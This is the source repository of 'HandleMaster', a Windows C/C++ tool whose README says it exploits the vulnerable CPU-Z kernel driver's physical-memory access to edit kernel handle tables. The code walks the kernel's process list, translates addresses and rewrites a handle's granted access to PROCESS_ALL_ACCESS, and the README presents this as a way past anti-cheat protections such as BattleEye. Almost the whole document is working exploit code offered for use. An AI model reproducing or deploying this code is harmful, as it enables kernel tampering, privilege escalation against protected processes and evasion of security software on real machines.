osvi.dwMinorVersion, osvi.wServicePackMajor, osvi.dwBuildNumber); 90 | } 91 | } 92 | } 93 | } -------------------------------------------------------------------------------- /HandleMaster/src/dyn_data.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | enum supported_versions 8 | { 9 | win7_sp1 = 0x060101, 10 | win8 = 0x060200, 11 | win81 = 0x060300, 12 | win10 = 0x0A0000, 13 | win10_cu = 0x0A0002 14 | }; 15 | 16 | class unsupported_version 17 | : public std::exception 18 | { 19 | public: 20 | unsupported_version(std::uint32_t major, std::uint32_t minor, std::uint32_t sp, std::uint32_t build) 21 | { 22 | char buf[128]; 23 | sprintf_s(buf, "Unsupported OS build: %d.%d.%d.%d", major, minor, sp, build); 24 | message = std::string(buf, strlen(buf)); 25 | } 26 | 27 | const char* what() const override 28 | { 29 | return message.data(); 30 | } 31 | 32 | private: 33 | std::string message; 34 | }; 35 | 36 | class unsupported_processor 37 | : public std::exception 38 | { 39 | public: 40 | unsupported_processor(const char* vendor) 41 | { 42 | char buf[128]; 43 | sprintf_s(buf, "Unsupported processor (Vendor: %s)", vendor); 44 | message = std::string(buf, strlen(buf)); 45 | } 46 | 47 | const char* what() const override 48 | { 49 | return message.data(); 50 | } 51 | 52 | private: 53 | std::string message; 54 | }; 55 | 56 | namespace dyn_data 57 | { 58 | void ensure_intel_cpu(); 59 | void load_information(); 60 | 61 | extern std::uint32_t os_version; 62 | extern std::uint32_t offset_directorytable; 63 | extern std::uint32_t offset_process_id; 64 | extern std::uint32_t offset_process_links; 65 | extern std::uint32_t offset_object_table; 66 | } 67 | -------------------------------------------------------------------------------- /HandleMaster/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include "windefs.h" 2 | #include 3 | #include 4 | 5 | #include "process.hpp" 6 | #include "dyn_data.hpp" 7 | 8 | int main() 9 | { 10 | try { 11 | dyn_data::ensure_intel_cpu(); 12 | } catch(const unsupported_processor& ex) { 13 | fprintf(stderr, "System is running with non-Intel processor. HandleMaster Might not work properly.\n"); 14 | } 15 | 16 | try { 17 | dyn_data::load_information(); 18 | 19 | auto pid = process::find(L"notepad.exe"); 20 | 21 | if(!pid) 22 | throw std::runtime_error("Process not running"); 23 | 24 | // 25 | // Open a handle WITHOUT read access, as proof of concept 26 | // 27 | auto handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); 28 | 29 | if(!handle) 30 | throw std::runtime_error("Failed to open process"); 31 | 32 | // 33 | // Attach to the process that contains the handle we 34 | // want to elevate (this is the current process on this case) 35 | // 36 | if(process::attach(GetCurrentProcessId())) { 37 | // 38 | // Use CPU-Z to elevate the handle access to PROCESS_ALL_ACCESS 39 | // 40 | if(!process::grant_handle_access(handle, PROCESS_ALL_ACCESS)) 41 | throw std::runtime_error("Failed to set handle access"); 42 | 43 | process::detach(); 44 | } 45 | 46 | // 47 | // Use the now elevated handle to perform a query and some reads. 48 | // You can use this handle for pretty much anything you want from now on. :) 49 | // 50 | ULONG return_len; 51 | PEB process_peb; 52 | PROCESS_BASIC_INFORMATION process_info; 53 | RTL_USER_PROCESS_PARAMETERS process_parameters; 54 | WCHAR buffer[512]; 55 | 56 | if(NtQueryInformationProcess(handle, ProcessBasicInformation, &process_info, sizeof(process_info), &return_len) < 0) 57 | throw std::runtime_error("NtQueryInformationProcess failed"); 58 | 59 | if(!ReadProcessMemory(handle, process_info.PebBaseAddress, &process_peb, sizeof(process_peb), nullptr) || 60 | !ReadProcessMemory(handle, process_peb.ProcessParameters, &process_parameters, sizeof(process_parameters), nullptr) || 61 | !ReadProcessMemory(handle, process_parameters.CommandLine.Buffer, buffer, process_parameters.CommandLine.Length, nullptr)) 62 | throw std::runtime_error("ReadProcessMemory failed"); 63 | 64 | printf("CommandLine: %ws\n", buffer); 65 | 66 | CloseHandle(handle); 67 | } catch(const unsupported_version& ex) { 68 | fprintf(stderr, ex.what()); 69 | fprintf(stderr, "\n"); 70 | fprintf(stderr, "Supported (tested) versions are:\n"); 71 | fprintf(stderr, " - Windows 7 SP1 (6.1.7601)\n"); 72 | fprintf(stderr, " - Windows 8 (6.2.9200)\n"); 73 | fprintf(stderr, " - Windows 8.1 (6.3.9600)\n"); 74 | fprintf(stderr, " - Windows 10 TH1 (10.0.10240)\n"); 75 | fprintf(stderr, " - Windows 10 TH2 (10.0.10586)\n"); 76 | fprintf(stderr, " - Windows 10 AU (10.0.14393)\n"); 77 | fprintf(stderr, " - Windows 10 CU (10.0.15063)\n"); 78 | 79 | } catch(const std::exception& ex) { 80 | fprintf(stderr, ex.what()); 81 | fprintf(stderr, "\nGetLastError: %X\n", GetLastError()); 82 | } 83 | 84 | getc(stdin); 85 | return 0; 86 | } -------------------------------------------------------------------------------- /HandleMaster/src/process.cpp: -------------------------------------------------------------------------------- 1 | #include "process.hpp" 2 | #include "windefs.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "sup.h" 9 | #include "dyn_data.hpp" 10 | #include "drivers/cpuz/cpuz_driver.hpp" 11 | 12 | PHANDLE_TABLE_ENTRY ExpLookupHandleTableEntryWin7(PHANDLE_TABLE HandleTable, ULONGLONG Handle) 13 | { 14 | ULONGLONG v2; // r8@2 15 | ULONGLONG v3; // rcx@2 16 | ULONGLONG v4; // r8@2 17 | ULONGLONG result; // rax@4 18 | ULONGLONG v6; // [sp+8h] [bp+8h]@1 19 | ULONGLONG table = (ULONGLONG)HandleTable; 20 | 21 | v6 = Handle; 22 | v6 = Handle & 0xFFFFFFFC; 23 | if(v6 >= *(DWORD*)(table + 92)) { 24 | result = 0i64; 25 | } else { 26 | v2 = (*(ULONGLONG*)table); 27 | v3 = (*(ULONGLONG*)table) & 3i64; 28 | v4 = v2 - (ULONG)v3; 29 | if((ULONG)v3) { 30 | if((DWORD)v3 == 1) 31 | result = process::read((((Handle - (Handle & 0x3FF)) >> 7) + v4)) + 4 * (Handle & 0x3FF); 32 | else 33 | result = process::read((PVOID)(process::read((PVOID)(((((Handle - (Handle & 0x3FF)) >> 7) - (((Handle - (Handle & 0x3FF)) >> 7) & 0xFFF)) >> 9) + v4)) + (((Handle - (Handle & 0x3FF)) >> 7) & 0xFFF))) + 4 * (Handle & 0x3FF); 34 | } else { 35 | result = v4 + 4 * Handle; 36 | } 37 | } 38 | return (PHANDLE_TABLE_ENTRY)result; 39 | } 40 | 41 | PHANDLE_TABLE_ENTRY ExpLookupHandleTableEntry(PHANDLE_TABLE HandleTable, ULONGLONG Handle) 42 | { 43 | ULONGLONG v2; // rdx@1 44 | LONGLONG v3; // r8@2 45 | ULONGLONG result; // rax@4 46 | ULONGLONG v5; 47 | 48 | ULONGLONG a1 = (ULONGLONG)HandleTable; 49 | 50 | v2 = Handle & 0xFFFFFFFFFFFFFFFCui64; 51 | if(v2 >= *(DWORD*)a1) { 52 | result = 0i64; 53 | } else { 54 | v3 = *(ULONGLONG*)(a1 + 8); 55 | if(*(ULONGLONG*)(a1 + 8) & 3) { 56 | if((*(DWORD*)(a1 + 8) & 3) == 1) { 57 | v5 = process::read(v3 + 8 * (v2 >> 10) - 1); 58 | result = v5 + 4 * (v2 & 0x3FF); 59 | } else { 60 | v5 = process::read(process::read(v3 + 8 * (v2 >> 19) - 2) + 8 * ((v2 >> 10) & 0x1FF)); 61 | result = v5 + 4 * (v2 & 0x3FF); 62 | } 63 | } else { 64 | result = v3 + 4 * v2; 65 | } 66 | } 67 | return (PHANDLE_TABLE_ENTRY)result; 68 | } 69 | 70 | namespace process 71 | { 72 | struct process_context 73 | { 74 | std::uint32_t pid; 75 | std::uint64_t dir_base; 76 | std::uint64_t kernel_entry; 77 | }; 78 | 79 | std::stack context_stack; 80 | process_context* cur_context = nullptr; 81 | 82 | static std::uint8_t* find_kernel_proc(const char* name) 83 | { 84 | static HMODULE ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); 85 | static ULONG64 krnl_base = (ULONG64)SupGetKernelBase(nullptr); 86 | 87 | if(!krnl_base) 88 | throw std::runtime_error{ "Could not find the system base." }; 89 | 90 | if(!ntoskrnl) 91 | throw std::runtime_error{ "Failed to load ntoskrnl.exe" }; 92 | 93 | auto fn = (std::uint64_t)GetProcAddress(ntoskrnl, name); 94 | 95 | if(!fn) return nullptr; 96 | 97 | return (uint8_t*)(fn - (std::uint64_t)ntoskrnl + krnl_base); 98 | } 99 | 100 | static process_context find_process_info(std::uint32_t pid) 101 | { 102 | process_context info; 103 | info.pid = 0; 104 | 105 | auto& cpuz = cpuz_driver::instance(); 106 | 107 | if(cpuz.ensure_loaded()) { 108 | // 1. Get PsInitialSystemProcess; 109 | // 2. Iterate _EPROCESS list until UniqueProcessId == pid; 110 | // 3. Read _KPROCESS:DirectoryTableBase; 111 | // 4. Profit. 112 | 113 | // Get the pointer to the system process 114 | // This is a pointer to a EPROCESS object 115 | auto peprocess = find_kernel_proc("PsInitialSystemProcess"); 116 | auto ntos_entry = cpuz.read_system_address(peprocess); 117 | 118 | auto list_head = ntos_entry + dyn_data::offset_process_links; 119 | auto last_link = cpuz.read_system_address(list_head + sizeof(PVOID)); 120 | auto cur_link = list_head; 121 | 122 | // Iterate the kernel's linked list of processes 123 | do { 124 | auto entry = (std::uint64_t)cur_link - dyn_data::offset_process_links; 125 | 126 | auto unique_pid = cpuz.read_system_address(entry + dyn_data::offset_process_id); 127 | 128 | // PID is a match 129 | // Read the directory table base for this process so we can use it later 130 | // as well as the address for this EPROCESS entry 131 | if(unique_pid == pid) { 132 | info.pid = pid; 133 | info.dir_base = cpuz.read_system_address(entry + dyn_data::offset_directorytable); 134 | info.kernel_entry = entry; 135 | break; 136 | } 137 | 138 | // Go to next process 139 | cur_link = cpuz.read_system_address(cur_link); 140 | } while(cur_link != last_link); 141 | } 142 | return info; 143 | } 144 | 145 | std::uint32_t find(const wchar_t* proc) 146 | { 147 | auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 148 | auto pe = PROCESSENTRY32W{ sizeof(PROCESSENTRY32W) }; 149 | 150 | if(Process32First(snapshot, &pe)) { 151 | do { 152 | if(!_wcsicmp(proc, pe.szExeFile)) { 153 | CloseHandle(snapshot); 154 | return pe.th32ProcessID; 155 | } 156 | } while(Process32Next(snapshot, &pe)); 157 | } 158 | CloseHandle(snapshot); 159 | return 0; 160 | } 161 | 162 | bool attach(std::uint32_t pid) 163 | { 164 | auto info = find_process_info(pid); 165 | 166 | if(info.pid != 0) { 167 | context_stack.push(info); 168 | cur_context = &context_stack.top(); 169 | return true; 170 | } 171 | return false; 172 | } 173 | 174 | void detach() 175 | { 176 | context_stack.pop(); 177 | if(context_stack.size() > 0) 178 | cur_context = &context_stack.top(); 179 | else 180 | cur_context = nullptr; 181 | } 182 | 183 | bool read(PVOID base, PVOID buf, size_t len) 184 | { 185 | if(cur_context == nullptr) 186 | throw std::runtime_error{ "Not attached to a process." }; 187 | 188 | auto& cpuz = cpuz_driver::instance(); 189 | 190 | auto phys = cpuz.translate_linear_address(cur_context->dir_base, base); 191 | 192 | if(!phys) 193 | return false; 194 | 195 | return cpuz.read_physical_address(phys, buf, len); 196 | } 197 | 198 | bool write(PVOID base, PVOID buf, size_t len) 199 | { 200 | if(cur_context == nullptr) 201 | throw std::runtime_error{ "Not attached to a process." }; 202 | 203 | auto& cpuz = cpuz_driver::instance(); 204 | 205 | auto phys = cpuz.translate_linear_address(cur_context->dir_base, base); 206 | 207 | if(!phys) 208 | return false; 209 | 210 | return cpuz.write_physical_address(phys, buf, len); 211 | } 212 | 213 | bool grant_handle_access(HANDLE handle, ACCESS_MASK access_rights) 214 | { 215 | // 216 | // Make sure we are attached to a process 217 | // 218 | if(cur_context == nullptr) 219 | throw std::runtime_error{ "Not attached to a process." }; 220 | 221 | auto handle_table_addr = read(PVOID(cur_context->kernel_entry + dyn_data::offset_object_table)); 222 | auto handle_table = read(handle_table_addr); 223 | auto entry_addr = PHANDLE_TABLE_ENTRY{ nullptr }; 224 | 225 | if(dyn_data::os_version == win7_sp1) { 226 | entry_addr = ExpLookupHandleTableEntryWin7(&handle_table, (ULONGLONG)handle); 227 | if(!entry_addr) 228 | return false; 229 | } else { 230 | entry_addr = ExpLookupHandleTableEntry(&handle_table, (ULONGLONG)handle); 231 | if(!entry_addr) 232 | return false; 233 | } 234 | 235 | auto entry = read(entry_addr); 236 | entry.GrantedAccess = access_rights; 237 | return write(entry_addr, entry); 238 | } 239 | } -------------------------------------------------------------------------------- /HandleMaster/src/process.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windefs.h" 4 | #include 5 | #include 6 | 7 | namespace process 8 | { 9 | std::uint32_t find(const wchar_t* proc); 10 | 11 | bool attach(std::uint32_t pid); 12 | void detach(); 13 | 14 | bool grant_handle_access(HANDLE handle, ACCESS_MASK access_rights); 15 | 16 | bool read(PVOID base, PVOID buf, size_t len); 17 | bool write(PVOID base, PVOID buf, size_t len); 18 | 19 | template 20 | T read(U base) 21 | { 22 | T temp = T{}; 23 | read((PVOID)base, &temp, sizeof(T)); 24 | return temp; 25 | } 26 | template 27 | bool write(U base, T value) 28 | { 29 | return write((PVOID)base, &value, sizeof(T)); 30 | } 31 | }; 32 | -------------------------------------------------------------------------------- /HandleMaster/src/scm.c: -------------------------------------------------------------------------------- 1 | #include "scm.h" 2 | 3 | #include 4 | 5 | BOOL ScmCreateService( 6 | _Out_ PHANDLE ServiceHandle, 7 | _In_ LPCWSTR ServiceName, 8 | _In_opt_ LPCWSTR DisplayName, 9 | _In_ LPCWSTR BinPath, 10 | _In_ ACCESS_MASK DesiredAccess, 11 | _In_ ULONG ServiceType, 12 | _In_ ULONG StartType, 13 | _In_ ULONG ErrorControl 14 | ) 15 | { 16 | SC_HANDLE Scm; 17 | WCHAR QualifiedPath[MAX_PATH + 2]; 18 | 19 | Scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 20 | 21 | if(!Scm) 22 | return FALSE; 23 | 24 | swprintf_s(QualifiedPath, MAX_PATH + 2, L"%ws", BinPath); 25 | 26 | *ServiceHandle = CreateServiceW( 27 | Scm, 28 | ServiceName, DisplayName, 29 | DesiredAccess, 30 | ServiceType, StartType, 31 | ErrorControl, QualifiedPath, 32 | NULL, NULL, NULL, NULL, NULL 33 | ); 34 | 35 | CloseServiceHandle(Scm); 36 | 37 | return *ServiceHandle != NULL; 38 | } 39 | 40 | BOOL ScmDeleteService( 41 | _In_ HANDLE ServiceHandle 42 | ) 43 | { 44 | return DeleteService(ServiceHandle); 45 | } 46 | 47 | BOOL ScmOpenServiceHandle( 48 | _Out_ PHANDLE ServiceHandle, 49 | _In_ LPCWSTR ServiceName, 50 | _In_ ACCESS_MASK DesiredAccess 51 | ) 52 | { 53 | SC_HANDLE Scm; 54 | 55 | Scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); 56 | 57 | if(!Scm) 58 | return FALSE; 59 | 60 | *ServiceHandle = OpenService(Scm, ServiceName, DesiredAccess); 61 | 62 | CloseServiceHandle(Scm); 63 | 64 | return *ServiceHandle != NULL; 65 | } 66 | 67 | BOOL ScmCloseServiceHandle( 68 | _In_ HANDLE ServiceHandle 69 | ) 70 | { 71 | return CloseServiceHandle(ServiceHandle); 72 | } 73 | 74 | BOOL ScmStartService( 75 | _In_ HANDLE ServiceHandle 76 | ) 77 | { 78 | return StartServiceW(ServiceHandle, 0, NULL); 79 | } 80 | 81 | BOOL ScmPauseService( 82 | _In_ HANDLE ServiceHandle 83 | ) 84 | { 85 | SERVICE_STATUS ServiceStatus; 86 | 87 | return ControlService(ServiceHandle, SERVICE_CONTROL_PAUSE, &ServiceStatus); 88 | } 89 | 90 | BOOL ScmResumeService( 91 | _In_ HANDLE ServiceHandle 92 | ) 93 | { 94 | SERVICE_STATUS ServiceStatus; 95 | 96 | return ControlService(ServiceHandle, SERVICE_CONTROL_CONTINUE, &ServiceStatus); 97 | } 98 | 99 | BOOL ScmStopService( 100 | _In_ HANDLE ServiceHandle 101 | ) 102 | { 103 | SERVICE_STATUS ServiceStatus; 104 | 105 | return ControlService(ServiceHandle, SERVICE_CONTROL_STOP, &ServiceStatus); 106 | } -------------------------------------------------------------------------------- /HandleMaster/src/scm.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windefs.h" 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | #if 0 9 | } 10 | #endif 11 | 12 | BOOL ScmCreateService( 13 | _Out_ PHANDLE ServiceHandle, 14 | _In_ LPCWSTR ServiceName, 15 | _In_opt_ LPCWSTR DisplayName, 16 | _In_ LPCWSTR BinPath, 17 | _In_ ACCESS_MASK DesiredAccess, 18 | _In_ ULONG ServiceType, 19 | _In_ ULONG StartType, 20 | _In_ ULONG ErrorControl 21 | ); 22 | 23 | BOOL ScmDeleteService( 24 | _In_ HANDLE ServiceHandle 25 | ); 26 | 27 | BOOL ScmOpenServiceHandle( 28 | _Out_ PHANDLE ServiceHandle, 29 | _In_ LPCWSTR ServiceName, 30 | _In_ ACCESS_MASK DesiredAccess 31 | ); 32 | 33 | BOOL ScmCloseServiceHandle( 34 | _In_ HANDLE ServiceHandle 35 | ); 36 | 37 | BOOL ScmStartService( 38 | _In_ HANDLE ServiceHandle 39 | ); 40 | 41 | BOOL ScmPauseService( 42 | _In_ HANDLE ServiceHandle 43 | ); 44 | 45 | BOOL ScmResumeService( 46 | _In_ HANDLE ServiceHandle 47 | ); 48 | 49 | BOOL ScmStopService( 50 | _In_ HANDLE ServiceHandle 51 | ); 52 | 53 | #if 0 54 | { 55 | #endif 56 | #ifdef __cplusplus 57 | } 58 | #endif -------------------------------------------------------------------------------- /HandleMaster/src/sup.c: -------------------------------------------------------------------------------- 1 | #include "sup.h" 2 | 3 | #include 4 | #include 5 | 6 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 7 | { 8 | HANDLE Section; 9 | PVOID MappedBase; 10 | PVOID ImageBase; 11 | ULONG ImageSize; 12 | ULONG Flags; 13 | USHORT LoadOrderIndex; 14 | USHORT InitOrderIndex; 15 | USHORT LoadCount; 16 | USHORT OffsetToFileName; 17 | UCHAR FullPathName[256]; 18 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; 19 | 20 | typedef struct _RTL_PROCESS_MODULES 21 | { 22 | ULONG NumberOfModules; 23 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 24 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; 25 | 26 | 27 | BOOL SupFileExists( 28 | _In_ LPCWSTR FilePath 29 | ) 30 | { 31 | NTSTATUS Status; 32 | HANDLE FileHandle; 33 | UNICODE_STRING NtFileName; 34 | OBJECT_ATTRIBUTES ObjAttr; 35 | IO_STATUS_BLOCK IoStatus; 36 | 37 | RtlInitUnicodeString(&NtFileName, (LPWSTR)FilePath); 38 | InitializeObjectAttributes(&ObjAttr, &NtFileName, 0, NULL, NULL); 39 | 40 | Status = NtCreateFile( 41 | &FileHandle, 42 | SYNCHRONIZE, 43 | &ObjAttr, 44 | &IoStatus, 45 | NULL, 46 | FILE_ATTRIBUTE_NORMAL, 47 | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 48 | FILE_OPEN, 49 | FILE_NON_DIRECTORY_FILE, 50 | NULL, 0); 51 | 52 | if(!NT_SUCCESS(Status)) { 53 | return FALSE; 54 | } 55 | 56 | NtClose(FileHandle); 57 | 58 | return TRUE; 59 | } 60 | 61 | BOOL SupWriteResourceToDisk( 62 | _In_ LPCWSTR FilePath, 63 | _In_opt_ HMODULE Module, 64 | _In_ LPCWSTR ResourceName, 65 | _In_ LPCWSTR ResourceType 66 | ) 67 | { 68 | HANDLE File; 69 | HRSRC ResInfo; 70 | PVOID ResData; 71 | ULONG ResSize; 72 | ULONG BytesWritten; 73 | 74 | ResInfo = FindResourceW(Module, ResourceName, ResourceType); 75 | 76 | if(!ResInfo) 77 | return FALSE; 78 | 79 | File = SupCreateFile(FilePath, GENERIC_WRITE | SYNCHRONIZE, 0, CREATE_ALWAYS); 80 | 81 | if(File == INVALID_HANDLE_VALUE) 82 | return FALSE; 83 | 84 | ResData = LoadResource(Module, ResInfo); 85 | ResData = LockResource(ResData); 86 | ResSize = SizeofResource(Module, ResInfo); 87 | 88 | BOOL Result = WriteFile(File, ResData, ResSize, &BytesWritten, NULL); 89 | 90 | CloseHandle(File); 91 | 92 | return Result; 93 | } 94 | 95 | HANDLE SupCreateFile( 96 | _In_ LPCWSTR FilePath, 97 | _In_ ACCESS_MASK DesiredAccess, 98 | _In_ ULONG ShareMode, 99 | _In_ ULONG CreateDisposition 100 | ) 101 | { 102 | NTSTATUS Status; 103 | HANDLE FileHandle; 104 | UNICODE_STRING NtFileName; 105 | OBJECT_ATTRIBUTES ObjAttr; 106 | IO_STATUS_BLOCK IoStatus; 107 | 108 | RtlInitUnicodeString(&NtFileName, (LPWSTR)FilePath); 109 | InitializeObjectAttributes(&ObjAttr, &NtFileName, 0, NULL, NULL); 110 | 111 | Status = NtCreateFile( 112 | &FileHandle, 113 | DesiredAccess, 114 | &ObjAttr, 115 | &IoStatus, 116 | NULL, 117 | FILE_ATTRIBUTE_NORMAL, 118 | ShareMode, 119 | CreateDisposition, 120 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 121 | NULL, 0); 122 | 123 | if(!NT_SUCCESS(Status)) 124 | FileHandle = INVALID_HANDLE_VALUE; 125 | 126 | return FileHandle; 127 | } 128 | 129 | BOOL SupLookupErrorMessage( 130 | _In_ ULONG ErrorCode, 131 | _Out_ LPSTR Buffer, 132 | _In_ ULONG BufferSize 133 | ) 134 | { 135 | if(!FormatMessageA( 136 | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 137 | NULL, 138 | ErrorCode, 139 | 0, 140 | Buffer, 141 | BufferSize, 142 | NULL)) { 143 | return sprintf_s(Buffer, BufferSize, "%d", ErrorCode) > 0; 144 | } 145 | 146 | return TRUE; 147 | } 148 | 149 | LPVOID SupGetKernelBase( 150 | _Out_opt_ PSIZE_T KernelSize 151 | ) 152 | { 153 | NTSTATUS status; 154 | PVOID buffer; 155 | ULONG bufferSize = 2048; 156 | 157 | buffer = malloc(bufferSize); 158 | 159 | status = NtQuerySystemInformation( 160 | 11/*SystemModuleInformation*/, 161 | buffer, 162 | bufferSize, 163 | &bufferSize 164 | ); 165 | 166 | if(status == STATUS_INFO_LENGTH_MISMATCH) { 167 | free(buffer); 168 | buffer = malloc(bufferSize); 169 | 170 | status = NtQuerySystemInformation( 171 | 11/*SystemModuleInformation*/, 172 | buffer, 173 | bufferSize, 174 | &bufferSize 175 | ); 176 | } 177 | 178 | if(!NT_SUCCESS(status)) 179 | return NULL; 180 | 181 | if(KernelSize) 182 | *KernelSize = (SIZE_T)((PRTL_PROCESS_MODULES)buffer)->Modules[0].ImageSize; 183 | 184 | return ((PRTL_PROCESS_MODULES)buffer)->Modules[0].ImageBase; 185 | } -------------------------------------------------------------------------------- /HandleMaster/src/sup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windefs.h" 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | #if 0 9 | } 10 | #endif 11 | 12 | /** 13 | * \brief Check if the specified file exists. 14 | * 15 | * \param[in] FilePath NT Path to the file. 16 | * 17 | * \returns If the file exists, the return value is nonzero. 18 | * If the file could not be found, the return value is 0. 19 | * To get extended error information, call \c GetLastError. 20 | */ 21 | BOOL SupFileExists( 22 | _In_ LPCWSTR FilePath 23 | ); 24 | 25 | /** 26 | * \brief Write a resource file to disk. 27 | * 28 | * \param[in] FilePath NT Path to the file. 29 | * \param[in] Module The module that contains the resource. 30 | * Use \c NULL to specify the main process module. 31 | * \param[in] ResourceName The resource name. 32 | * \param[in] ResourceType The resource type. 33 | * 34 | * \returns If the function succeeds, the return value is nonzero. 35 | * If the function fails, the return value is 0. 36 | * To get extended error information, call \c GetLastError. 37 | */ 38 | BOOL SupWriteResourceToDisk( 39 | _In_ LPCWSTR FilePath, 40 | _In_opt_ HMODULE Module, 41 | _In_ LPCWSTR ResourceName, 42 | _In_ LPCWSTR ResourceType 43 | ); 44 | 45 | /** 46 | * \brief Creates or opens a file. 47 | * 48 | * A wrapper around the Win32 \c NtCreateFile API. 49 | * For more information see https://msdn.microsoft.com/en-us/library/bb432380(v=vs.85).aspx 50 | * 51 | * \param[in] FilePath NT Path to the file. 52 | * \param[in] DesiredAccess Desired access rights. 53 | * \param[in] ShareMode The requested sharing mode of the file. 54 | * \param[in] CreateDisposition An action to take on a file or device that exists or does not exist. 55 | * 56 | * \returns If the function succeeds, the return value is an open handle to the specified file. 57 | * If the function fails, the return value is INVALID_HANDLE_VALUE. 58 | * To get extended error information, call GetLastError. 59 | */ 60 | HANDLE SupCreateFile( 61 | _In_ LPCWSTR FilePath, 62 | _In_ ACCESS_MASK DesiredAccess, 63 | _In_ ULONG ShareMode, 64 | _In_ ULONG CreateDisposition 65 | ); 66 | 67 | /** 68 | * \brief Translate a Win32 error code to its respective message. 69 | * 70 | * \param[in] ErrorCode The Win32 error code. 71 | * \param[out] Buffer Buffer to store the message. 72 | * \param[in] BufferSize Max buffer size. 73 | * 74 | * \remarks If the function cannot find the message for the provided error 75 | * the error code is converted to text and stored on the buffer 76 | * instead of the message. 77 | * 78 | * \returns If the function succeeds, the return value is nonzero. 79 | * If the function fails, the return value is 0. 80 | */ 81 | BOOL SupLookupErrorMessage( 82 | _In_ ULONG ErrorCode, 83 | _Out_ LPSTR Buffer, 84 | _In_ ULONG BufferSize 85 | ); 86 | 87 | /** 88 | * \brief Retrieves the kernel base for the current session. 89 | * 90 | * \param[out] KernelSize The size of the kernel image. 91 | * 92 | * \returns If the function succeeds, the return value is the base address for the ntos kernel. 93 | * If the function fails, the return value is 0. 94 | * To get extended error information, call \c GetLastError. 95 | */ 96 | LPVOID SupGetKernelBase( 97 | _Out_opt_ PSIZE_T KernelSize 98 | ); 99 | 100 | #if 0 101 | { 102 | #endif 103 | #ifdef __cplusplus 104 | } 105 | #endif 106 | -------------------------------------------------------------------------------- /HandleMaster/src/windefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #define NO_STRICT 5 | #define NOMINMAX 6 | #include 7 | #define WIN32_NO_STATUS 8 | #include 9 | #include 10 | 11 | #ifndef _WIN64 12 | #error "x64 only please" 13 | #endif 14 | 15 | typedef struct _EPROCESS *PEPROCESS; 16 | typedef struct _HANDLE_TABLE_ENTRY_INFO *PHANDLE_TABLE_ENTRY_INFO; 17 | typedef PVOID EX_PUSH_LOCK; 18 | typedef struct _HANDLE_TABLE* PHANDLE_TABLE; 19 | 20 | typedef struct _HANDLE_TABLE_ENTRY 21 | { 22 | //This struct is incomplete, but we dont really care about the other fields 23 | ULONGLONG Value; 24 | ULONGLONG GrantedAccess : 25; 25 | } HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; 26 | 27 | typedef struct _HANDLE_TABLE 28 | { 29 | CHAR fill[100]; 30 | } HANDLE_TABLE, *PHANDLE_TABLE; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 MarkHC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HandleMaster 2 | 3 | Vulnerable kernel drivers aren't a new thing. They allow regular uses to perform tasks that should be impossible from ring3. More specifically, the [CPU-Z](http://www.cpuid.com/softwares/cpu-z.html) driver allows users to read and write directly to physical memory. 4 | 5 | HandleMaster exploits that to perform some [DKOM](https://en.wikipedia.org/wiki/Direct_kernel_object_manipulation) and change granted access rights for handles. 6 | 7 | The idea is that you can open a handle with low access and then elevate its access rights later on when you want to use it. 8 | 9 | This bypasses some Anti-Cheats that use ObRegisterCallbacks to strip access rights from handles at creation time *cough* BattleEye *cough* 10 | 11 | ## Supported Windows Versions: 12 | 13 | - Windows 7 SP1 (6.1.7601) 14 | - Windows 8 (6.2.9200) 15 | - Windows 8.1 (6.3.9600) 16 | - Windows 10 TH1 (10.0.10240) 17 | - Windows 10 TH2 (10.0.10586) 18 | - Windows 10 Anniversary Update (10.0.14393) 19 | - Windows 10 Creators Update (10.0.15063) 20 | 21 | Any problems please let me know :) 22 | 23 | 24 | 25 | 26 | --------------------------------------------------------------------------------